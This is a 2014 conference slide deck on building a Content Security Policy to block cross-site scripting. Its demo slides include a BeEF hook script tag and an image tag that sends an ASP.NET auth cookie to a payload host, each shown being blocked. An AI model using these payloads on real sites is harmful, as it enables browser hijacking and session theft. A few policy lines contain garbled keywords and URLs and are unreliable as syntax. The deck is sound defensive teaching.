Building a
Content Security Policy (CSP)

Eric Johnson
SANS App Sec 2014
Introduction

- Eric Johnson
  - Security Consultant
  - SANS DEV544 Instructor & Contributing Author

- Certifications
  - CISSP, GWAPT, GSSP.NET

- Contact Info
  - @emjohn20
What is CSP?

Browser based Cross-Site Scripting (XSS) Defense

- Whitelist of external resources permitted to be used by the web page
- Inline JavaScript & styles are disabled
- Dynamic code execution is disabled
A Word of Caution

- CSP is NOT the solution to XSS
  - Browsers cannot be trusted!
  - Trusted JavaScript sources can be compromised
  - Non-script related XSS attacks still work
- Defense-in-depth Countermeasure
  - Proper output encoding
  - Strict CSP
CSP Versions

- **CSP 1.0: Candidate Recommendation**
  - [http://www.w3.org/TR/CSP/](http://www.w3.org/TR/CSP/)

- **CSP 1.1: Editor’s Draft Status**
  - [http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html](http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html)
CSP 1.0 Browser Support

<table>
<thead>
<tr>
<th>Header</th>
<th>Firefox</th>
<th>Chrome</th>
<th>Safari</th>
<th>Opera</th>
<th>IE</th>
</tr>
</thead>
<tbody>
<tr>
<td>Content-Security-Policy</td>
<td>23.0+</td>
<td>25+</td>
<td>7.0+</td>
<td>18.0+</td>
<td>-</td>
</tr>
<tr>
<td>X-Content-Security-Policy</td>
<td>4.0+</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>10+</td>
</tr>
<tr>
<td>X-Webkit-CSP</td>
<td>-</td>
<td>14+</td>
<td>6+</td>
<td>-</td>
<td>-</td>
</tr>
</tbody>
</table>

- Internet Explorer claims limited support, however testing a basic CSP in 11.0 allowed inline script to execute.

- http://caniuse.com/#feat=contentsecuritypolicy
CSP 1.0 Keywords

- ‘self’ - Allow resources from the same origin
- ‘none’ - Deny all resources
- ‘unsafe-inline’ – Allow inline resources
- ‘unsafe-eval’ – Allow dynamic code execution
- ‘data:’ – Allows data URIs
CSP 1.0 Directives

- default-src
- script-src
- object-src
- style-src
- img-src
- media-src
- frame-src
- font-src
- connect-src
- report-uri
CSP 1.0 Example

- Example from https://mobile.twitter.com

```plaintext
Content-Security-Policy-Report-Only:
default-src 'self';
font-src 'self';
frame-src https://*.twitter.com;
img-src https://*.twitter.com
https://*.twimg.com
https://maps.google.com data:;
script-src https://*.twitter.com
https://*.twimg.com
https://api-secure.recaptcha.net
'unsea-unsafe-inline' 'unsafe-eval';
style-src https://*.twitter.com
https://*.twimg.com
https://api-secure.recaptcha.net
'unsea-inline';
report-uri https://twitter.com/scribes/csp_report;
```
CSP Violations

- CSP violations captured in Chrome console:

```plaintext
CSP Violations

- Refused to apply inline style because it violates the following Content Security Policy directive: "style-src 'self' demo.cdd.org".
- Refused to apply inline style because it violates the following Content Security Policy directive: "style-src 'self' demo.cdd.org".
- Refused to apply inline style because it violates the following Content Security Policy directive: "style-src 'self' demo.cdd.org".
- Refused to apply inline style because it violates the following Content Security Policy directive: "style-src 'self' demo.cdd.org".
- Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' demo.cdd.org".
- Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' demo.cdd.org".
```
Browser Exploitation Framework (BeEF)

Payload:

```html
<script src="https://payloads.cdd.net:3000/hook.js" />
```
Browser Exploitation Framework (BeEF)

Results:

⚠️ Refused to load the script 'https://payloads.cdd.net:3000/hook.js' because it violates the following Content Security Policy directive: "script-src 'self' demo.cdd.org".

demo.cdd.org/:1
Cookie Theft

Payload:

```html
<img src="https://payloads.cdd.net/hijack.php?c=.AS PXAUTH=FBCFCD59170A03D9154844CEBCA249C7ADDA55C3369" />
```
Cookie Theft

Result:

Refused to load the image 'https://payloads.cdd.net/hijack.php?c=.ASPXAUTH=FBCFCD59170A03D9154844CEBCA249C7ADDA55C3369' because it violates the following Content Security Policy directive: "img-src 'self'".

demo.cdd.org/:89
Externalizing all JavaScript could be an issue
- Costly to re-write large applications
- ASP.NET Web Forms
- Enter CSP 1.1...
CSP 1.1 Browser Support

- Not officially supported by any browsers as of this writing
- Chrome 33 Beta is rumored to support some features
- We eagerly await its release!
CSP 1.1 Highlights

- `nonce-$Random` – Allow inline scripts with the correct nonce attribute set to execute

- `hashAlgorithm-base64Digest` – Allow inline scripts with the matching digest to execute

- Subject to change in final specifications
CSP 1.1 – Nonce Example

Sample CSP:

Content-Security-Policy-Report-Only:
script-src https://*/.twitter.com
https://api-secure.recaptcha.net
nonce-Nc3n83cnSAd3wc3Sasdfn939hc3

Allowed Inline Script:

```html
<script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3">
  alert(‘Allowed to execute’);
</script>
```
Sample CSP:

Content-Security-Policy-Report-Only:
script-src https:///*.twitter.com
https://api-secure.recaptcha.net
nonce-Nc3n83cnSAd3wc3Sasdfn939hc3

Blocked Inline Script:

<script nonce="EDNnf03nceIOfn39fn3e9h3sdfa">
    alert('Not Allowed to execute');
</script>
CSP 1.1 – Hash Example

Sample CSP:

Content-Security-Policy-Report-Only:
  script-src
    https://*.twitter.com
    https://api-secure.recaptcha.net
    sha256-MmM3YjgyNzI5MDc5NTA0ZTdiCWViZGExZDkzMDhlZWlW
    NDIwNzU2YWE5N2E4YWRjNWQ0ZmEyMDUyYjVkNjE0NTk=

Allowed Inline Script:

<script>
  alert('Allowed to execute');
</script>
Sample CSP:

Content-Security-Policy-Report-Only:
  script-src
      https://*.twitter.com
      https://api-secure.recaptcha.net
      sha256-MmM3YjgyNzI5MDc5NTA0ZTdiCWViZGExZDkxMDh1ZWIm
      NDIwNzU2YWE5N2E4YWRjNWQ0ZmEyMDUyYjVkJkE0NTk=

Blocked Inline Script:

<script>
    alert('Not allowed to execute');
</script>
Deploying CSP

- Test, test, test!

- Allowing unsafe-eval and unsafe-inline severely weakens the CSP

- Monitor response header sizes
CSP Testing Tools

- **csp-tester**
  - Chrome extension to build and test CSP
  - [https://github.com/oxdef/csp-tester](https://github.com/oxdef/csp-tester)
CSP Testing Tools

- **CSPTools**
  - Python based CSP Proxy, Browser, and Parser
  - Released by @kennysan at DEFCON 2013
  - https://github.com/Kennysan/CSPTools
Questions?

Thank you for attending!